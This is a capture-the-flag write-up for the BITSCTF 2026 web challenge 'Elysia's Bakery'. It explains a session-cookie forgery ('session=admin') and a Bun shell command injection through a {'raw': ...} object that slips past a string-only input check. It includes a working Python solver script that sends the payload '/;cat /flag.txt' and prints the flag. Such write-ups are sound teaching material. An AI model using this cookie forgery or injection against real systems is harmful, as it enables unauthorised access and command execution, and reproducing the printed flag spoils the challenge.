$ Web: Elysia's Bakery

BITSCTF 2026 By TaklaMan
Flag: BITSCTF{2bb319b73df5ff13f7e0d9e4e5dab9d9}

Main Points

  1. Authentication bypass via session cookie
  • The app stores username directly in session cookie and later reads it with:
    • getSessionUser(session) => session.value
  • Signature verification is effectively bypassed, so setting session=admin is enough to become admin.
  1. Command injection in admin endpoint
  • Vulnerable route:
    • POST /admin/list
    • Executes: $ls ${folder}` using Bun shell interpolation.
  • The input check blocks .. only when folder is a string:
    • if (typeof folder === "string" && folder.includes("..")) ...
  • Sending a crafted object {"raw":"..."} bypasses validation and is treated by Bun shell as raw unescaped command content.
  • Payload used:
    • {"folder":{"raw":"/;cat /flag.txt"}}
  1. Result
  • Full chain:
    • Forge cookie: session=admin
    • Trigger command injection in /admin/list
    • Read /flag.txt
  • Retrieved flag:
    • BITSCTF{2bb319b73df5ff13f7e0d9e4e5dab9d9}

Main Program (Solver)

Saved as: solve_elysias_bakery.py

#!/usr/bin/env python3
import re
import requests

BASE = "<http://chals.bitskrieg.in:21678>"

def main() -> None:
    s = requests.Session()

    # Signature is not enforced; plain session cookie works.
    s.cookies.set("session", "admin")

    # Bun shell accepts {"raw": "..."} as an unescaped shell fragment.
    r = s.post(
        f"{BASE}/admin/list",
        json={"folder": {"raw": "/;cat /flag.txt"}},
        timeout=10,
    )
    r.raise_for_status()

    flag_match = re.search(r"BITSCTF\\{[^}]+\\}", r.text)
    if not flag_match:
        raise RuntimeError(f"Flag not found in response: {r.text}")

    print(flag_match.group(0))

if __name__ == "__main__":
    main()

Reproduction

python3 /home/taklaman/Downloads/solve_elysias_bakery.py